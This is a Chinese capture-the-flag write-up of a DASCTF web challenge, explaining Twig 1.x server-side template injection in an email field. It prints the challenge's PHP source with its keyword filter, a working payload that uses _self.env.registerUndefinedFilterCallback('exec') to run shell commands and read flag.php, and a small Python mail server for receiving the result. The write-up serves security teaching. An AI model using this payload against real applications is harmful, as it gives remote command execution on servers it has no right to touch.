搭建一个ctf_由一道CTF赛题分析Twig SSTI利用方式

前言

在上周末刚刚结束的安恒6月赛DASCTF中,有一道web题涉及 Twig 模板注入,而两个月前的 volgactf 也涉及了同样的内容,但所使用的版本不同。本文通过CTF题的解法来分析 Twig 模板注入的利用方式

Subscribe@DASCTF

这是一道白盒代码审计题,给出的源码如下(作者注:本题目是基于Twig 1.x版本)

phprequire_once "mail/smtp.class.php";require_once "mail/smtp.send.php";require_once "libs/common.func.php";include 'vendor/twig/twig/lib/Twig/Autoloader.php';function mailCheck($s) {    if (preg_match('/\\\|\/|\~|&|\^|\`|\*|\?/i',$s))    {        alertMes('damn hacker!', './index.php');        return false;    }    if (!preg_match('/libs|smtp|curl|dev|index\.php|ftp|backdoor|sh/i', $s) )    {        if (  preg_match_all('/@/', $s) === 1 )        {            $arr = explode('@',$s);            $domain = end($arr);            if (!preg_match('/[^a-z0-9._-]/i', $domain))            {                return true;            }        }    }    return false;}function alertMes($mes, $url){    echo "            alert('{$mes}');            location.href='{$url}';    ";    die;}$smtpEmailTo = $_POST['toemail'];if (!mailCheck($smtpEmailTo)){    alertMes("hacker", "/index.php"); //die;}//为了减少邮件服务器压力,任何fuzz都请带上$_POST['test'] 请充分测试后再订阅并发邮件,如果检测到某个用户频繁无脑发邮件会被封禁。if (isset($_POST['test'])){    user_are_fuzzing_and_smtp_server_wont_send_email();    die;}//do not trickTwig_Autoloader::register();$loader = new Twig_Loader_String()$twig = new Twig_Environment($loader);$yourName = pos(explode( '@', $smtpEmailTo));$content = @$twig->render($yourName);$mailcontent = "

Hello "

.$content."
Welcome to DASCTF June, Have FUN!";$smtp = new Smtp($smtpserver, $smtpserverport, true, $smtpuser, $smtppass);$smtp->debug = false;$state = $smtp->sendmail($smtpEmailTo, $smtpusermail, $mailtitle, $mailContent, $mailtype);/* flag is in flag.php */

首先我们分析本题目代码逻辑,由用户传入一个Email地址,服务器端从用户输入的Email地址中提取用户名传入Twig模板,渲染一封包含用户名的邮件发送至该Email地址。

利用点在提取用户名并渲染的逻辑中,我们可以看到 $yourname 是提取 $smtpEmailTo 中 @前面的值,既用户名,然后在 $content = @$twig->render($yourName); 中将用户名直接传入Twig 模板渲染执行。由于 $yourName 是由用户输入,完全可控。

然后我们看 mailCheck 函数中的过滤规则,两个if判断逻辑过滤了几种特殊符号和关键字,并没有过滤花括号{}和一些其他关键类名,所以我们可以构造形如 {{7*7}}@yourmail.com 的Email地址传入进行SSTI。

payload分析

本题所用payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("a=cat;b=flag.php;$a $b")}}@yourmail.com
_self

_self在Twig框架中是一个特殊全局变量,会返回当前 \Twig\Template 实例,可以继续调用实例中的方法,相关代码位src/Node/Expression/NameExpression.php

class NameExpression extends AbstractExpression{    protected $specialVars = [        '_self' => '$this',        '_context' => '$context',        '_charset' => '$this->env->getCharset()',    ];        …………省略其他代码……………

注意因为本题目中使用Twig 1.x版本,所以此方法有效,在后续的2.x 和 3.x 版本中,这一变量只能返回当前实例名字符串

class NameExpression extends AbstractExpression{    private $specialVars = [        '_self' => '$this->getTemplateName()',        '_context' => '$context',        '_charset' => '$this->env->getCharset()',    ];        …………省略其他代码……………

官方文档https://twig.symfony.com/doc/1.x/deprecated.html#globals

registerUndefinedFilterCallback 和 getFilter

这两个函数都位于 src/Environment.php

public function getFilter($name){    if (!$this->extensionInitialized) {        $this->initExtensions();    }    if (isset($this->filters[$name])) {        return $this->filters[$name];    }    foreach ($this->filters as $pattern => $filter) {        $pattern = str_replace('\\*', '(.*?)', preg_quote($pattern, '#'), $count);        if ($count) {            if (preg_match('#^'.$pattern.'$#', $name, $matches)) {                array_shift($matches);                $filter->setArguments($matches);                return $filter;            }        }    }    foreach ($this->filterCallbacks as $callback) {        if (false !== $filter = \call_user_func($callback, $name)) {            return $filter;        }    }    return false;}public function registerUndefinedFilterCallback($callable){    $this->filterCallbacks[] = $callable;}

registerUndefinedFilterCallback("exec")exec 传入到全局数组 filterCallbacks[] 中,getFilter("a=cat;b=flag.php;$a $b")"a=cat;b=flag.php;$a $b" 传入 $name  

call_user_func

最终的命令执行点在foreach中的 call_user_func

09cd15ce869e32bf450d267c91de2815.png

$callback 为数组中的值,此处为 exec ,所以此处 call_user_func 执行的是

call_user_func("exec", "a=cat;b=flag.php;$a $b")

达到了最终执行命令的目的

还要个邮件服务器

对于本CTF题,我们还需要通过该地址接收邮件才能看到回显的flag,而一般的邮件服务提供商基本不允许用户名中存在特殊符号,所以我们在vps上用python临时搭建一个邮件服务器,并将域名MX记录解析到vps上。这是一个python邮件服务器的简易脚本

from __future__ import print_functionfrom datetime import datetimeimport asyncorefrom smtpd import SMTPServerclass EmlServer(SMTPServer):    no = 0    def process_message(self, peer, mailfrom, rcpttos, data, mail_options=None,rcpt_options=None):        filename = '%s-%d.eml' % (datetime.now().strftime('%Y%m%d%H%M%S'),                self.no)        f = open(filename, 'wb')        print(data)        f.write(data)        f.close        print('%s saved.' % filename)        self.no += 1def run():    foo = EmlServer(('0.0.0.0', 25), None)    try:        asyncore.loop()    except KeyboardInterrupt:        passif __name__ == '__main__':    run()

结语

本题是基于Twig 1.x开发,payload中所使用的_self变量在之后的版本已经弃用。在之后的文章我们将分享Twig 2.x & 3.x SSTI利用方式。

求👍求转求点在看

长按图片关注公众号

e82fb2d502882ac36838d69a058e4bf5.png

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值